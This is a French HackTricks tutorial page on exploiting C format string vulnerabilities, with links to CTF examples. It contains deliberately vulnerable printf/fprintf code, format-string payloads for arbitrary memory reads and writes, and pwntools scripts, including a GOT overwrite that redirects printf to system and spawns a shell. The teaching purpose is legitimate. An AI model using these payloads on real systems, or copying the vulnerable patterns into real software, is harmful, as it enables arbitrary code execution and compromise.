217 lines
9.8 KiB
Markdown

# Format Strings
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
En C, **`printf`** est une fonction qui peut être utilisée pour **imprimer** une chaîne. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formatteurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formatteurs** du texte brut.
D'autres fonctions vulnérables sont **`sprintf()`** et **`fprintf()`**.
La vulnérabilité apparaît lorsqu'un **texte d'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale abusant** des capacités de **format de printf** pour lire et **écrire des données à n'importe quelle adresse (lisible/écrivable)**. Cela lui permet ainsi d'**exécuter du code arbitraire**.
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Exemples :**
- Exemple vulnérable :
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
- Utilisation normale :
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- Avec des arguments manquants :
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
- fprintf vulnérable :
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **Accéder aux Pointeurs**
Le format **`%<n>$x`**, où `n` est un nombre, permet d'indiquer à printf de sélectionner le n-ième paramètre (de la pile). Donc, si vous voulez lire le 4ème paramètre de la pile en utilisant printf, vous pourriez faire :
```c
printf("%x %x %x %x")
```
et vous liriez du premier au quatrième paramètre.
Ou vous pourriez faire :
```c
printf("%4$x")
```
et lire directement le quatrième.
Remarquez que l'attaquant contrôle le paramètre `printf`, **ce qui signifie essentiellement que** son entrée sera dans la pile lorsque `printf` est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la pile.
> [!CAUTION]
> Un attaquant contrôlant cette entrée, sera capable d'**ajouter des adresses arbitraires dans la pile et de faire en sorte que `printf` y accède**. Dans la section suivante, il sera expliqué comment utiliser ce comportement.
## **Lecture Arbitraire**
Il est possible d'utiliser le formatteur **`%n$s`** pour faire en sorte que **`printf`** obtienne l'**adresse** située à la **n position**, la suivant et **l'imprimer comme si c'était une chaîne** (imprimer jusqu'à ce qu'un 0x00 soit trouvé). Donc, si l'adresse de base du binaire est **`0x8048000`**, et que nous savons que l'entrée utilisateur commence à la 4ème position dans la pile, il est possible d'imprimer le début du binaire avec :
```python
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera coupée en 0x00 à la fin de cette adresse.
### Trouver l'offset
Pour trouver l'offset de votre entrée, vous pouvez envoyer 4 ou 8 octets (`0x41414141`) suivis de **`%1$x`** et **augmenter** la valeur jusqu'à récupérer les `A's`.
<details>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
```
</details>
### Utilité
Les lectures arbitraires peuvent être utiles pour :
- **Dump** le **binaire** de la mémoire
- **Accéder à des parties spécifiques de la mémoire où des informations sensibles** **sont stockées** (comme des canaris, des clés de chiffrement ou des mots de passe personnalisés comme dans ce [**défi CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Écriture Arbitraire**
Le formatteur **`%<num>$n`** **écrit** le **nombre de bytes écrits** à l'**adresse indiquée** dans le paramètre \<num> dans la pile. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il sera capable de faire en sorte que **`%<num>$n`** écrive un nombre arbitraire à une adresse arbitraire.
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée, pour ce faire, il est possible d'utiliser le formatteur **`%.<num-write>%<num>$n`** pour écrire le nombre **`<num-write>`** à l'**adresse pointée par la position `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Cependant, notez qu'habituellement, pour écrire une adresse telle que `0x08049724` (qui est un énorme nombre à écrire d'un coup), **on utilise `$hn`** au lieu de `$n`. Cela permet de **n'écrire que 2 octets**. Par conséquent, cette opération est effectuée deux fois, une fois pour les 2 octets les plus élevés de l'adresse et une autre fois pour les plus bas.
Par conséquent, cette vulnérabilité permet de **tout écrire à n'importe quelle adresse (écriture arbitraire).**
Dans cet exemple, l'objectif sera de **surcharger** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Bien que cela puisse abuser d'autres techniques d'écriture arbitraire pour exécuter :
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
Nous allons **surcharger** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et **pointer** vers la **fonction** **`system`**.\
Comme mentionné, pour écrire l'adresse, généralement 2 étapes sont nécessaires : Vous **écrivez d'abord 2 octets** de l'adresse puis les autres 2. Pour ce faire, **`$hn`** est utilisé.
- **HOB** est appelé pour les 2 octets les plus élevés de l'adresse
- **LOB** est appelé pour les 2 octets les plus bas de l'adresse
Ensuite, en raison de la façon dont fonctionne la chaîne de format, vous devez **écrire d'abord le plus petit** de \[HOB, LOB] puis l'autre.
Si HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Si HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Modèle Pwntools
Vous pouvez trouver un **modèle** pour préparer un exploit pour ce type de vulnérabilité dans :
{{#ref}}
format-strings-template.md
{{#endref}}
Ou cet exemple de base [**ici**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) :
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Chaînes de format pour BOF
Il est possible d'abuser des actions d'écriture d'une vulnérabilité de chaîne de format pour **écrire dans des adresses de la pile** et exploiter une vulnérabilité de type **débordement de tampon**.
## Autres exemples et références
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bits, pas de relro, pas de canary, nx, pas de pie, utilisation de base des chaînes de format pour divulguer le drapeau de la pile (pas besoin de modifier le flux d'exécution)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écrire une adresse à l'intérieur de main dans `.fini_array` (pour que le flux boucle encore une fois) et écrire l'adresse vers `system` dans la table GOT pointant vers `strlen`. Lorsque le flux revient à main, `strlen` est exécuté avec l'entrée utilisateur et pointant vers `system`, il exécutera les commandes passées.
{{#include ../../banners/hacktricks-training.md}}